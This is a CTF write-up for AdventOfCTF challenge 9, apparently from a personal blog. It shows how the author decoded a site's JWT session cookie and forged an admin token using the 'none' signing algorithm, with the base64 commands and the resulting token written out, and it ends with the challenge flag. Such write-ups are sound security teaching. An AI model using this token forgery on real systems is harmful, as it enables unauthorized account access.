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author = "Maik de Kruif" |
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title = "Challenge 9 - AdventOfCTF" |
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date = 2020-12-09T09:24:52+01:00 |
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description = "A writeup for challenge 9 of AdventOfCTF." |
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cover = "img/adventofctf/973ded4b2381c28af6c24d3d670303c6.png" |
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tags = [ |
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"AdventOfCTF", |
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"challenge", |
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"ctf", |
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"hacking", |
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"writeup", |
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"web", |
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] |
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categories = [ |
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"ctf", |
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"writeups", |
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"hacking", |
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] |
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|
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- Points: 900 |
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## Description |
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Can you find a way to get into the Naughty List Management System as an admin? |
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Visit <https://09.adventofctf.com> to start the challenge. |
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## Finding the vulnerability |
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Upon opening the website, we're greeted with a login screen. When we enter random credentials, we're greeted with some text: "Hey **user** your **password** is incorrect.". |
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This took me quite some time to find out, but it's actually fairly obvious. I started by taking a look at the cookies, but there were none. Then I tried some common URLs, but nothing (except `/admin`). Then I took another look at the error message; some bold text... The username is `user` and the password is `incorrect`. |
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When entering these credentials, we get redirected to `/admin` with a message: "The naughty list is currently empty....". This time, however, we also got a cookie. |
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```text |
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eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NzE3ODU3fQ.rre-8SBgllKlu7KpJFXuO-SEN3s-9IPRSJ7hmclXpNs |
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``` |
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### JWT |
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This looks like a JWT. We can confirm this by decoding the text before the first period (`.`): |
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```bash |
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echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -d |
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``` |
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```json |
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{ "typ": "JWT", "alg": "HS256" } |
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``` |
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It is a JWT that uses the HMAC-SHA256 (`HS256`) algorithm. Using a [JSON Web Token (JWT)](https://en.wikipedia.org/wiki/JSON_Web_Token) is a compact, URL-safe, way of representing claims between a web server and a client. Let's decode the second part as well. |
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```bash |
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echo -n "eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NzE3ODU3fQ" | base64 -d |
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``` |
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```json |
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{ |
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"auth": 28961, |
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"text": "I do love a good puzzle.", |
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"role": "user", |
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"iat": 1607717857 |
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} |
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``` |
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We don't have to decode the last part as it is a secret that consists of non-printable characters. |
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The role in the JWT probably has to be changed to `"admin"` so let's try to do that. |
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#### Modifying a JWT |
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To modify a JWT, we would have to know the secret that was used to create it. If only there were some [vulnerabilities](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) 😀. |
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In a JWT you can use `none` as the algorithm. It is intended to be used for situations where the integrity of the token has already been verified. Luckily for us, some libraries treat tokens signed with the `none` algorithm as a valid token with a verified signature. This means anyone can create their own "signed" tokens with whatever payload they want, allowing arbitrary account access on some systems. |
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To create such a JWT, we just reverse the process. Firstly, we create the first part of the token. |
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```bash |
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echo -n '{"typ":"JWT","alg":"none"}' | base64 |
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> eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0= |
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``` |
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Then the middle part: |
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```bash |
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echo -n '{"auth":28961,"text":"I do love a good puzzle.","role":"admin","iat":1607717857}' | base64 |
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> eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzcxNzg1N30= |
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``` |
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And finally, the secret. We can leave this empty because we use the `none` algorithm. |
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Putting all of this together and removing the padding (`=`), we get `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzcxNzg1N30.` |
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## Solution |
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When setting the cookie to this value and reloading the page, we get the flag: `NOVI{Jw7_f@ilure_in_n0ne}`. |
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This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#9-10). |
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